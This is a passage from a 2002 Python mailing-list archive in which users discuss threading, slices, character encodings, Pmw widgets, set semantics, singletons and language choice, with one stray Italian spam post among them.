pythoncraft.com (Aahz) Date: 20 May 2002 14:37:07 -0400 Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> Message-ID: In article , =?iso-8859-1?q?Fran=E7ois?= Pinard wrote: >[Aahz] >> In article <87sn4n6gz9.fsf at kursk.kassube.de>, >> Nils Kassube wrote: >>> >>>Multithreading is a very big stability risk if you don't know exactly >>>what you are doing, i.e. most programmers most of the time. >> >> Depends what you're trying to do. > >Multi-threading has been very welcome in some of my projects. However, >I'm rather uncomfortable about precisely knowing whether various Python >usages are atomic or not, and which parts of the Python library are >thread-safe. Someone once suggested: "Try, and you will see!". The >fact that something works never proves it is correct, nor that it will >always work. Short of precise documentation on these things, I feel >a bit lost when I observe lack of stability. So I sometimes abuse of >this thread-off option in my things. My response is that instead of trying to take advantage of the few atomic Python constructs, instead code defensively and always use thread-safe mechanisms for passing information. Because Python has a powerful and simple Queue, this is straightforward to accomplish. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From larooy at xtar.co.nz Sat May 11 07:30:55 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Sat, 11 May 2002 23:30:55 +1200 Subject: Can import time module as root but not as normal user References: Message-ID: <20020511233055.590ccb2c.larooy@xtar.co.nz> try running python -v you'll get a message like >>>import time import time # dynamically loaded from /usr/local/lib/python2.2/lib-dynload/time.so check the permissions on that file and the directories John On Sat, 11 May 2002 12:12:40 +0100 Darren Watson wrote: > > Hi > > I have installed Python 2.2.1 on SuSE Linux 7.1 from source code version of > Python. I can import the time module when logged in as root, but not when > any other user. > > When a normal user tried to import the module the error below appears: > > >>> import time > Traceback (most recent call last): > File "", line 1, in ? > ImportError: No module named time > >>> > > The values of sys.path are as below: > > for root: > ['', '/usr/local/lib/python2.2', '/usr/local/lib/python2.2/plat-linux2', > '/usr/local/lib/python2.2/lib-tk', '/usr/local/lib/python2.2/lib-dynload', > '/usr/local/lib/python2.2/site-packages'] > > for any other user: > ['', '/usr/local/lib/python2.2', '/usr/local/lib/python2.2/plat-linux2', > '/usr/local/lib/python2.2/lib-tk', '/usr/local/lib/python2.2/lib-dynload', > '/usr/local/lib/python2.2/site-packages'] > > Has anyone had this problem before and found a solution? > > Many thanks for any help > > -- > > Darren Watson From tl_news at nexgo.de Thu May 16 04:50:54 2002 From: tl_news at nexgo.de (Tino Lange) Date: Thu, 16 May 2002 10:50:54 +0200 Subject: which db should I use? References: <5oonba.f4l.ln@127.0.0.1> Message-ID: <5asvba.8ha.ln@217.11.196.198> >> Firebird database >> A Python interface is available, of course, Hi! Where can I find that Python interface? Thanks! Tino From hughett at mercur.uphs.upenn.edu Thu May 2 10:12:58 2002 From: hughett at mercur.uphs.upenn.edu (Paul Hughett) Date: 2 May 2002 14:12:58 GMT Subject: Slice objects with negative increment References: Message-ID: Alex Martelli wrote: : Paul Hughett wrote: : Why ever would it be? slice(j-L-1, i-L-1, -1) works per your stated : constraints and requirements for a sequence of length L, obviously. Ah, ha! It wasn't obvious to me that i-L-1 is an alias for i-1. And it still seems bizarre to have to write that when I really mean i-1. :> 0. I'm a careful programmer and know the -n convention for indices, : Then maybe you're noticing something I'm not, given that this seems : so obvious to me while you keep insisting some specialcasing is needed. You're right--it does not need to be treated as a special case. But I still think that a good many competent programmers will get this one wrong the first time or need to have it explained when they see it in someone else's code. Not that I can think of any solution, other than to explain this trick when slice objects are explained. Paul Hughett From spam at fisher.forestry.uga.edu Thu May 23 11:13:54 2002 From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck) Date: 23 May 2002 08:13:54 -0700 Subject: Matrixmultiply on multidimensional arrays Message-ID: I'm hoping someone can help me with this matrix multiplication problem: I am trying to multiply a 2x2x3 matrix (A below) with a 2x2x3x3 matrix (B below), such that each of the inner rows in A are multiplied by the 3x3 inner matrices in B, to result in a 2x2x3 matrix. In other words, a regular matrix operation is embedded within a 2x2 matrix. Can I do this without flattening these out? Matrix A: [[[ 40725. 81450. 40725. ] [ 28846.54696133 57693.09392265 28846.54696133]] [[ 32623.33392432 59176.7772203 32623.33392432] [ 32623.33392432 59176.7772203 32623.33392432]]] Matrix B: [[[[ 0.984 0.016 0. ] [ 0.079 0.906 0.015] [ 0. 0.026 0.974]] [[ 0.974 0.026 0. ] [ 0.05 0.932 0.018] [ 0. 0.014 0.986]]] [[[ 0.984 0.016 0. ] [ 0.079 0.906 0.015] [ 0. 0.026 0.974]] [[ 0.974 0.026 0. ] [ 0.05 0.932 0.018] [ 0. 0.014 0.986]]]] From skip at pobox.com Wed May 1 20:27:20 2002 From: skip at pobox.com (Skip Montanaro) Date: Wed, 1 May 2002 19:27:20 -0500 Subject: Python buglet: Incorrect error message for float([0]) In-Reply-To: References: <3CCF7810.5000608@erols.com> Message-ID: <15568.34792.626474.856432@12-248-41-177.client.attbi.com> >> But since "float(0)" is OK, a better error message might be: >> >> TypeError: the argument of float() must be a string or a number aahz> That looks like a good bug to submit to SourceForge. I should have it fixed in CVS before the ink is dry on the submission... :-) i-love-the-easy-ones-ly, y'rs, Skip From shalehperry at attbi.com Tue May 7 16:59:56 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Tue, 07 May 2002 13:59:56 -0700 (PDT) Subject: taglibs equivalent in Python In-Reply-To: <32a4746e.0205071246.744a0f2a@posting.google.com> Message-ID: On 07-May-2002 Ragu Bharadwaj wrote: > Is there an equivalent to Java Taglibs in Python? I'm considering > Python for a web project where it'd be useful to have taglib like > functionality which could encapsulate common functions. > seeing as many of us are python programmers and not Java programmers, perhaps you could tell us what taglibs does or point us at a descriptive website? From v.wehren at home.nl Thu May 23 08:27:51 2002 From: v.wehren at home.nl (v.wehren) Date: Thu, 23 May 2002 14:27:51 +0200 Subject: encoding problem CP850 to ISO_8859_9 Message-ID: <625H8.29184$48.2236753@zwoll1.home.nl> When trying to convert the encoding of a file originally in CP850 to ISO_8859_2 (Latin9), there are some mappings causing a UnicodeError which is rather unexpected, especially since the characters are available in both encodings (unlike most of the "box drawing" stuff, and so on, where a "maps to " is logical. The offensive characters (plus the values they eventually should be mapped to) are: 0xD0 #0xD0 in CP850 should map to 0xF0 = LATIN SMALL LETTER ETH in Latin9 0xD1 #0xD1 in CP850 should map to 0xD0 = LATIN CAPITAL LETTER ETH in Latin9 0xE7 #0xE7 in CP850 should map to 0xFE = LATIN SMALL LETTER THORN in Latin9 0xE8 #0xE8 in CP850 should map to 0xDE = LATIN CAPITAL LETTER THORN in Latin9 0xEC #0xEC in CP850 should map to 0xFD = LATIN SMALL Y WITH ACUTE in Latin9 0xED #0xED inCP850 should map to 0xDD LATIN CAPITAL LETTER Y WITH ACUTE in Latin9 Each of these values raise an unexpected UnicodeError: >>> oem2iso = unicode('\xD0', 'CP850') >>> oem = unicode('\xD0', 'CP850') >>> iso = oem.encode('iso_8859_9') Traceback (most recent call last): File "", line 1, in ? iso = oem.encode('iso_8859_9') File "C:\PYTHON22\lib\encodings\iso8859_9.py", line 18, in encode return codecs.charmap_encode(input,errors,encoding_map) UnicodeError: charmap encoding error: character maps to Should the encoding_map be enhanced? Or am I missing something... Regards.. vincent wehren (vincent at visualtrans.de) From SBrunning at trisystems.co.uk Thu May 30 12:29:46 2002 From: SBrunning at trisystems.co.uk (Simon Brunning) Date: Thu, 30 May 2002 17:29:46 +0100 Subject: Where can I find .join() in the docs Message-ID: <31575A892FF6D1118F5800600846864DCBD291@intrepid> > From: Ruediger Maehl [SMTP:ruediger.maehl_nospam at web.de] > could anyone please point me to the piece of documentation > where I can find a description of .join() and all the others? > Cheers, Simon Brunning TriSystems Ltd. sbrunning at trisystems.co.uk ----------------------------------------------------------------------- The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. If you are not the intended recipient, any disclosure, copying, distribution, or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot accept liability for statements made which are clearly the senders own. From lolita86 at libero.it Thu May 23 17:18:30 2002 From: lolita86 at libero.it (lolita) Date: Thu, 23 May 2002 23:18:30 +0200 Subject: Eros e soldi:guadagna con internet 0,08 euro a clic Message-ID: sono lolita, voglio presentarti il mio nuovo sito affiliazione gratuita con guadagni immediati: erotismo, chat,loghi e sonerie etc, etc, l'unico sito che paga cos? tanto 0,08 euro a clic ............................guarda bene la pg di affiliazione............................e buon divertimento. visita il sito: http://members.xoom.it/marym1976 http://members.xoom.it/marym1976 http://members.xoom.it/marym1976 From wyojustin at hotmail.com Wed May 22 21:12:36 2002 From: wyojustin at hotmail.com (Justin Shaw) Date: Thu, 23 May 2002 01:12:36 GMT Subject: Where does IDLE expect to find imported files? References: Message-ID: <8mXG8.106352$Ze4.11189485@bin5.nnrp.aus1.giganews.com> Python searches the $PYTHONPATH environmental variable which behaves like the $PATH variable. Try this: UNIX> setenv PYTHONPATH /home/caroline/python # or wherever prog.py is UNIX> python ... >>> import prog >>> prog.run() ... To make the module available to all users put it in (on Solaris default install) /usr/local/lib/python2.2/site-packages/ Good luck! "CarolineBlue" wrote in message news:ach90f$141$1 at knossos.btinternet.com... > BlankCan't get import to work - need to know correct directory to put > .py files in for processing > > I have just installed Python 2.2.1 under Windows 98SE (from a Computer > Shopper CD). I am working my way through the Tutorial, but cannot > import files for processing by IDLE. Where does IDLE expect to find > the named file (eg. prog.py), so that "import prog.py" will work? > > I tried putting it various directories, such as /usr/local/bin > /usr/local/lib /usr/local/bin/python but none have worked. SO where > is the magic directory? > > Caroline. > > > From SBrunning at trisystems.co.uk Wed May 15 11:27:50 2002 From: SBrunning at trisystems.co.uk (Simon Brunning) Date: Wed, 15 May 2002 16:27:50 +0100 Subject: OT: Crazy Programming Message-ID: <31575A892FF6D1118F5800600846864DCBD192@intrepid> > From: Christopher Encapera [SMTP:ChrisE at lantech.com] > Well said. I think one should keep in mind though the difference between > art and art. If you mean the art that sits in front of many of our > institutions ("modern" art) and the like, it deserves our universal > condemnation, and indeed our deep hatred ;) If you however mean art, as > in > the art of cooking, or the martial arts, then of course we should not shy > away from calling programming (or engineering) an art. In my opinion, the > art is found not only at the top level, but at the very beginning. If > python has anything to do with art, however, then I am deeply offended, > and > will unsubscribe to this list immediately and never program again...:) People really should learn the difference between things which are not to their personal taste, and thing which are bad. I, for example, can't stand country and western music. Hate the stuff. But I would not be so arrogant as to suggest that those who *do* like country and western are wrong, and that it's a bad thing. It's just not my cup of tea. If you don't appreciate modern art, well, fair enough. But 'universal condemnation and hatred'? Did your wife leave you for a conceptual artist, or something? Cheers, Simon Brunning TriSystems Ltd. sbrunning at trisystems.co.uk ----------------------------------------------------------------------- The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. If you are not the intended recipient, any disclosure, copying, distribution, or any action taken or omitted to be taken in reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot accept liability for statements made which are clearly the senders own. From cimarron+google at taylors.org Wed May 15 14:00:47 2002 From: cimarron+google at taylors.org (Cimarron Taylor) Date: 15 May 2002 11:00:47 -0700 Subject: Tix Vs Pmw which is better to use? References: <3CCE6C0D.FA96F79A@millfilm.co.uk> <29e28c51.0205020305.53cbfd22@posting.google.com> Message-ID: <29e28c51.0205151000.648ab5de@posting.google.com> gregm at iname.com (Greg McFarlane) wrote in message news:... > It seems that Cimarron has not read (or did not understand) the Pmw > documentation, otherwise he would have found that none of his > frustrations are due to Pmw itself. Perhaps the documentation > could be improved? Please let me know. Thank you for responding to my comment. I would very much appreciate your feedback on the following suggestions and questions related to Pmw: 1. how to improve the documentation 2. how to improve the source code 3. how to improve the interface 4. the (unanswered) question at the end of my previous comment Item 1 - how to improve the documentation ----------------------------------------- You are correct: I did not read *and* understand the Pmw documentation. I did however read what I believed at the time were the relevent sections and in retrospect I think I can suggest some improvements which would have made it easier for me to understand: With respect to the setentry() method, I now realize I must have missed the example in doc/howtouse.html. However this method is not mentioned in the class-specific documentation (doc/PmwCounter.html) I did read. Therefore I propose that the name of each public method, inherited or otherwise, appear in the html file for the specific widget. That is, instead of the following text Only methods specific to this megawidget are described below. For a description of its inherited methods, see the manuals for its base classes. In addition, methods from the Pmw.EntryField class are forwarded by this megawidget to the entryfield component. I would write The counter widget, like all Pmw widgets, inherits the following methods from Pmw.MegaArchtype: addoptions(), cget(), component(), componentaliases(), componentgroup(), components(), configure(), createcomponent(), createlabel(), defineoptions(), destroy(), destroycomponent(), hulldestroyed(), initialiseoptions(), interior(), isinitoption(), options() The counter widget also delegates the following methods to its Pmw.EntryField entryfield component: checkentry(), clear(), invoke(), setentry(), valid Item 2 - how to improve the source code --------------------------------------- Given that I also went immediately to the source code to find what I wanted to know, I would also suggest changing the source code in the following way: each function described in the documentation sould have a docstring which identifying it as part of Pmw's documented interface. I would also include an explicit reference to the relevent section of the documentation. For example, instead of def increment(self): self._forceCount(1) I would suggest def increment(self): """Increment the counter once, as if the up arrow had been pressed. See also doc/Counter.html"" self._forceCount(1) Item 3 - how to improve the interface ------------------------------------- Regarding my statement that it is often necessary to violate the encapsulation to set the value of a widget, I stand corrected. However I believe the Pmw interface would be much improved if each widget would support the following methods: def getvalue(self): """returns a string representing the visual value of the widget""" ... def setvalue(self, value): """sets the visual representation of the widget to the specified value""" ... This way instead of using settext() for a textbox and setentry() for a counter, I could simply use setvalue() in each case and dispense with my artificial wrapper classes. Item 4 - the (unanswered) question at the end of my previous comment -------------------------------------------------------------------- I would like to add to my interface a text area which would contain the output of a separate long running make process I need to spawn. I can't just call system() as that would block the entire ui (unless I setup a separate thread). I've tried using fork() and exec() but that seems to cause an X server error which kills the entire application. The best thing I've found so far is to run the separate process in an xterm window by creating an instance of the following class: class StartMake: def __init__(self, target): os.popen('xterm -e make %s &' % target) My question for you is have you ever solved this problem with Tkinter/Pmw? If so, what did you do? If not, do you have any suggestions? Lastly, thank you again for the ongoing attention and support you have provided for the Pmw package and to the community of developers who are using it. I have found it very useful. Cim From tdelaney at avaya.com Thu May 30 19:32:49 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Fri, 31 May 2002 09:32:49 +1000 Subject: matching one time through a loop Message-ID: > From: Sean 'Shaleh' Perry [mailto:shalehperry at attbi.com] > > On 30-May-2002 Delaney, Timothy wrote: > >> From: Corey G. [mailto:ctgaff at attbi.com] > >> > >> This comment made me realize just how little I know about > >> Python. Well, > >> it's only been 3 days now, but none the less. > >> > >> By moving the regex out of the loop and only compiling it once, the > >> script is 3x faster than before and now out performs my > original Perl > >> script. > > > > This needs to be added to the comparisons page ;) ^^ > > > > depends, was it naive perl too? Well, on that point, isn't all perl naive, in the sense that there is no expectation that anyone else will read it? Explicit for those who can't read smileys ... ;) Tim Delaney From philh at comuno.freeserve.co.uk Sun May 19 14:13:21 2002 From: philh at comuno.freeserve.co.uk (phil hunt) Date: Sun, 19 May 2002 19:13:21 +0100 Subject: Merits of replacing bash with python References: Message-ID: On Sun, 19 May 2002 10:06:29 -0700, Brian Quinlan wrote: >Kevin wrote: >> I am pretty new to python and am looking for some good reasons to >> replace bash with python. > >Python is designed to be a general purpose programming language. I don't >think that it would be convenient as a shell. I rarely write any shell script more than about 4 lines long, and certainly none that use conditionals, loops or other control structures -- IMO Python is better than shell for all but the simplest things. -- <"><"><"> Philip Hunt <"><"><"> "I would guess that he really believes whatever is politically advantageous for him to believe." -- Alison Brooks, referring to Michael Portillo, on soc.history.what-if From nookieNO_SP_AM at online.no Mon May 13 17:46:58 2002 From: nookieNO_SP_AM at online.no (Erlend J. Leiknes) Date: Mon, 13 May 2002 21:46:58 GMT Subject: Help with __name__ == '__main__' References: Message-ID: if __name__ == '__main__': is a method to avoid the code to be executed if its imported as a module. You could simply just remove the """ if __name__ == '__main__': """, but then you cannot use your code as a module without adding it back (unless you want it to be executed upon import. "Manuel" wrote in message news:mailman.1021276643.10462.python-list at python.org... > Hi, Thanks a lot for the help from Skip Montanaro and Andreas Jung! > > But now a new question. This is the complete code and I am not able to call > the function so, that it only prints out e.g. the gethost list. How can I > handle this in __name__ == '__main__'! Or is there another possibility to > handle this more elegant or simpler? Thanks for help and hints! > The function call should be in this type: > python filelist.py serverlist.txt > and optional: python filelist.py serverlist.txt gethost > or python filelist.py serverlist.txt getprotocol getpath > > Thanks for help and hints! > > > filelist.py > import sys, string, urlparse > > class ListFile: > > def __init__(self, filename): > self.file = open(filename, 'r') > > > > def __getitem__(self, i): > line = self.file.readline() > if line: > return line > else: > raise IndexError > > def __getattr__(self, name): > return getattr(self.file, name) > > def getall(self): > for line in self.file: > parseurl = urlparse.urlparse(line) > getprotocol = parseurl[0] > gethost = parseurl[1] > getpath = parseurl[2] > print getprotocol, gethost, getpath, > > def getprotocol(self): > for line in self.file: > parseurl = urlparse.urlparse(line) > getprotocol = parseurl[0] > print getprotocol > > def gethost(self): > for line in self.file: > parseurl = urlparse.urlparse(line) > gethost = parseurl[1] > print gethost > > def getpath(self): > for line in self.file: > parseurl = urlparse.urlparse(line) > getpath = parseurl[2] > print getpath, > > if __name__ == '__main__': > line = ListFile(sys.argv[1]) > line.getall() > line.getall() > line.getprotocol() > line.gethost() > line.getpath() > > > > From rnd at onego.ru Thu May 30 14:23:58 2002 From: rnd at onego.ru (Roman Suzi) Date: Thu, 30 May 2002 22:23:58 +0400 (MSD) Subject: python tool: finding duplicate code In-Reply-To: Message-ID: On Thu, 30 May 2002, Michal Wallace wrote: >On Wed, 29 May 2002, Tim Peters wrote: > >> > (hmm... Come to think of it, someone could probably find >> > *some* duplicate logic by running source files through the >> > tokenizer first. I wonder if that would work...) >> >> Brenda Baker has done some interesting work on this >> problem (not with Python in mind, but million-line C >> systems): >> >> http://cm.bell-labs.com/who/bsb/ >> >> Her "On Finding Duplication and Near-Duplication in Large >> Software Systems" is a good entry into the literature. >> >> I have a self-serving reason for mentioning this: if >> somebody whips up a fast suffix tree for Python, I could >> put it to good use in ameliorating difflib.py's worst-case >> time sinks . > >Hey Tim, > >Thanks for the link! I found a javascript version of a >suffix tree algorithm online. I ported it to python and it There could be some scientific works found on google by keyword "suffix tree algorithm" ... Sincerely yours, Roman Suzi -- \_ Russia \_ Karelia \_ Petrozavodsk \_ rnd at onego.ru \_ \_ Thursday, May 30, 2002 \_ Powered by Linux RedHat 7.2 \_ \_ "How do I love thee? My accumulator overflows." \_ From jb at cascade-sys.com Wed May 15 16:23:36 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 15 May 2002 13:23:36 -0700 Subject: Best book for python? References: Message-ID: <3CE2C3C8.91BF68C2@cascade-sys.com> For someone who already knows how to program and is familiar with Perl, I would recommend "Python Essential Reference" by Beazley. It gives a concise overview of tha language with examples and then gives a good survey of the more commonly used library modules. Absolutely vital (IMHO) is O'Reilly's Python Pocket Reference by Mark Lutz. This is a handly little quick reference to supplement any more substantial books. on the subject. There's a beginner phase where you sort of know what to do but need to double-check syntax, function name, which args are optional, return result, etc. Then too, no reason not to buy most of the other books. I still frequently refer to the Python Programming on Win32 (if you use Windows). As was pointed out, many of the published documents do not reflect the latest release of Python. For learning the basics this doesn't matter but eventually you'll need to know. Bookmarking the online documents is very useful. I frequently consult the Library Reference, as I find it all too much to keep in my head. This might be worth downloading for faster access. Regards --jb obantec support wrote: > Hi > > I need to get up to speed on python so am looking for a book. > Quite a few at amazon to choose from. > Any recommendations? > > (BTW i already program in perl/php) > > Mark > -- > Obantec Support > www.obantec.net > WebHosting and Domains > Nominet UK Tag Holder > > -- > http://mail.python.org/mailman/listinfo/python-list -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From op73418 at mail.telepac.pt Sat May 18 12:28:41 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Sat, 18 May 2002 17:28:41 +0100 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> <3CE5E0D9.6B97951F@alcyone.com> <6qd6vtxzam.fsf@abnoba.intevation.de> Message-ID: On 18 May 2002 17:15:29 +0200, Bernhard Herzog wrote: >Erik Max Francis writes: > >> That's not the half of it. Mutable objects can dynamically change >> state, completely outside the control of the container. So the hard >> question is: What happens when a mutable object changes its value, such >> that it effects the arrangement of the set? How does the container get >> notified of this change (which as far as I know there is no standard way >> to test in Python), and what happens when a value collision occurs >> within the set? Does one object get disposed? If so, which one? > >It seems to me that the most sensible solution would be to deal with it >like a dictionary deals with mutable keys: By not caring about whether >an object is mutable or not (there is no way to determine this anyway) >but relying on a certain behavior regarding hash values instead. > >If an object is stored in a dict as a key, the only things that matter >are that > >1. its hash value doesn't change as long as the object is used as a key. Doesn't this mean, in practice, that it is immutable? To me, this requirement is just shifting responsabilities from one place to the other and not really solving the problem. > >2. equal objects have equal hash values > >There may be some more subtle requirements. I'm not sure what happens >when two objects that have the same hash value but do not compare eqal >at first later become equal, for instance. I believe 2. is more stringent: equal objects iff equal hash values > > Bernhard Best regards, Gon?alo Rodrigues From donn at u.washington.edu Wed May 8 13:24:49 2002 From: donn at u.washington.edu (Donn Cave) Date: 8 May 2002 17:24:49 GMT Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> <3CD92111.7060704@mxm.dk> Message-ID: Quoth Max M : ... | Well ... not to keep flogging a dead horse, but you have only prooved | that you work on problems where Python is not fast enough. And that | there are other people needing all the horsepower they can get. | | What you have failed to show is the ratio between programming problems | that needs the speed of c/c++ and those where Python is fast enough. | | As long as we have no hard data it is purely anecdotical evidence, which | is next to useless. It's probably a useless question. Is Python fast enough, or do you need a faster language? This isn't a Yes or No question, it's a trade-off. Compared to Language X, Python will have certain advantages and disadvantages. Performance will always be among the issues, if we're talking about evaluation with any serious intent to produce usable software - always. If Language X is so atrocious that you're determined to use Python if at all possible, then that sets the bar pretty high. Even if Language X programs run substantially faster, and even if your computing environment is going to be severely taxed, you still may be better off with Python. So you solve your problem with faster hardware, or you work harder to exploit whatever efficiencies Python can offer. In the end, very rarely will you "need" Language X. But that's a big "if". I think more commonly, we find some advantages to Python, but they aren't _that_ compelling. (I'm talking about people who don't spend half the day on comp.lang.python, of course.) Then, speed starts to be an issue. Rather, it's the issue it has always been, but it does influence choice of implementation language. People are definitely willing to pay a price for faster software, the only question is how big a price. I personally think the price is too big for Perl, but I've seen people learn Python and then decide otherwise. It's important that people understand the price they're paying - the real problems that Perl programmers have in the long run - but let's not get carried away, Perl isn't necessarily a fatal choice. Nor is C or even C++. And of course those aren't the only languages that can be faster. A useful advocacy posture is to make sure Python's getting a fair break on the speed issue, and then emphasize the other compensating advantages. Dismissing speed as a foolish concern gets no one anywhere. Donn Cave, donn at u.washington.edu From huaiyu at gauss.almadan.ibm.com Mon May 20 13:51:00 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Mon, 20 May 2002 17:51:00 +0000 (UTC) Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58D54.BD046D02@alcyone.com> <3CE5E0D9.6B97951F@alcyone.com> Message-ID: Erik Max Francis wrote: >That's not the half of it. Mutable objects can dynamically change >state, completely outside the control of the container. So the hard >question is: What happens when a mutable object changes its value, such >that it effects the arrangement of the set? How does the container get >notified of this change (which as far as I know there is no standard way >to test in Python), and what happens when a value collision occurs >within the set? Does one object get disposed? If so, which one? Conclusion: Mutable objects cannot be consistently hashed by contents. There is no escape the fact that mutable and immutable objects are fundamentally different. Mathematically a mutable set is a sequence of sets indexed by time. The solution appears to be: - Allow mutable and immutable flavors of objects. - Mutable objects are hashed by identity. - Immutable objectas are hashed by content. No change would then hanve the undesirable effect you described. Huaiyu From peter at engcorp.com Wed May 8 08:49:10 2002 From: peter at engcorp.com (Peter Hansen) Date: Wed, 08 May 2002 08:49:10 -0400 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> Message-ID: <3CD91EC6.14D238FA@engcorp.com> "James J. Besemer" wrote: > > > 'Nuff said? > > Only if you concede all the points I make in my reply, above [as any logical and reasonable > person would do ;o]... Yes, I concede all your points. From v.wehren at home.nl Thu May 23 11:04:08 2002 From: v.wehren at home.nl (v.wehren) Date: Thu, 23 May 2002 17:04:08 +0200 Subject: encoding problem CP850 to ISO_8859_9 References: <625H8.29184$48.2236753@zwoll1.home.nl> Message-ID: My brain must habe been switched off or something... Muchos gracias for switching it back on... (Just for the record: the supposed "missing" characters are apart from in latin1also available in iso_8859_15) vincent "P. Alejandro Lopez-Valencia" schrieb im Newsbeitrag news:aciv97$q500t$1 at ID-99513.news.dfncis.de... > > "v.wehren" escribi? en el mensaje > news:625H8.29184$48.2236753 at zwoll1.home.nl... > > When trying to convert the encoding of a file originally in CP850 to > > ISO_8859_2 (Latin9), there are some mappings causing a UnicodeError > which is > > rather unexpected, especially since the characters are available in > both > > encodings (unlike most of the "box drawing" stuff, and so on, where a > "maps > > to " is logical. The offensive characters (plus the values > they > > eventually should be mapped to) are: > > I suggest you check your target encodings first and ask again. Your > suppositions are incorrect. ISO-8859-9 is Latin 5 (Western Europe plus > Turkish) and ISO-8859-15 *is* Latin 9 (Western Europe plus Euro Currency > Sign) --- that is, the nineth Latin encoding (== using the Roman > alphabet) among all the character encodings defined under the ISO-8859 > standard. > > Furthermore, the characters you report as missing, Eth, Thorn, *do not* > exist in ISO-8859-2 (Latin 2 Central Europe). They exist only in the > ISO-8859-1 (Latin 1 Western Europe) encoding. > From henk.derudder at barconet.com Wed May 15 09:35:52 2002 From: henk.derudder at barconet.com (henk.derudder at barconet.com) Date: Wed, 15 May 2002 13:35:52 GMT Subject: Python install on Windows References: <3ce203b1.682640671@news.skynet.be> <3ce20dd4.685235640@news.skynet.be> Message-ID: <3ce26407.707302515@news.skynet.be> On Wed, 15 May 2002 07:29:32 GMT, henk.derudder at barconet.com wrote: Does anybody know where I can find the source files of the nstallation itself (*not* the python sources themselves)? Thanks >On Wed, 15 May 2002 09:02:17 +0200, "Thomas Heller" > wrote: > >>> I downloaded the installer for Python 2.2 from www.python.org >>> I just wondered whether the source files for that installation process >>> are available and if so, where I can find/get them. I could use it to >>> write an unattended installer to install just the interpreter and its >>> libraries. >> >>They are contained in the source distribution. AFIAK, there are a >>pcbuild.dsw file (which requires the commercial Wise InstallBuilder), and the >>start of an installation script for the free Inno-setup. >> >>Thomas >> >Thanks, can you tell me what the free Inno-setup is all about? >Can I find the source distribution you mentioned on www.python.org? >And what does AFIAK stands for? > >Henk >> > From sholden at holdenweb.com Thu May 9 16:30:59 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 9 May 2002 16:30:59 -0400 Subject: "a better input" References: Message-ID: <%2BC8.45501$m26.36772@atlpnn01.usenetserver.com> "Gareth McCaughan" wrote ... > Alex Martelli wrote: > > [I said:] > > >> To expand: we could really do with something that lets the user > > >> enter "46" or "0x1234" or "'walrus'" or "-2+6j" or "[1,'a',{3:4}]" > > >> and returns the same as |input| does for those, but that doesn't > > >> permit "f(123)" or "2**2002" or "[x for x in [1,2,3]]". > > > > You'll have to pin that down more closely, as I can't see any > > easily definable difference between operators used as in: > > -2+6j > > and operators used as in: > > 2**6 > > yet apparently you want to allow the former but forbid the latter > > (why? what is gained in forcing people to do this in their head?). > > I don't actually mind if an input() replacement evaluates 2+3. > I do mind if it is able to do arbitrary computation, where > "arbitrary" is fuzzily defined to cover things like > > 1 anything that could take a large amount of time or > memory to compute; > > (rationale: we don't want to facilitate DoS attacks; > users will find it counterintuitive if what they think > of as reading a value can consume unbounded resources.) So, for example, 2**100 is OK, but 2**10000000 is right out? [...] regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From sholden at holdenweb.com Fri May 10 09:56:46 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 09:56:46 -0400 Subject: singleton in python ? References: <1020669846.963494@newsmaster-04.atnet.at> Message-ID: "Marcel L.K. Opsteegh" wrote in message news:db9b83c9.0205100524.1c6a03d5 at posting.google.com... > "fritz steindl \(-:fs\)" wrote in message news:<1020669846.963494 at newsmaster-04.atnet.at>... > > hi, > > > > what is the best way to implement a singleton in python ??? > > > > ( class that allows only _one_ instantiation - like java singletons) > > > > i miss static variables and functions in python (or i don't see them :-) > > > > > > > > fritz > > (-:fs) > > I implement a sigleton normally as following: > > class DatabaseManager: > # Singleton (recycle connections) > theConnectionPool = None > class __ConnectionPool: > def __init__(self): > ... > > def getCursor(self, aRecycleFlag = CURSOR_RECYCLE): > ... > > def __init__(self): > if DatabaseManager.theConnectionPool == None: > DatabaseManager.theConnectionPool = DatabaseManager.__ConnectionPool() > else: > pass > > def __getattr__(self, aName): > return getattr(self.theConnectionPool, aName) > While I'm sure the above code does what you want, in strict technical terms it's neither what the OP asked for, nor a singleton. Multiple instances of this class can be created, and will have different identities. Of course they all share the same state (which is what you need in this case), but that's Borg-like rather than Singleton-like. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From Mike_Bohr at gmx.net Mon May 13 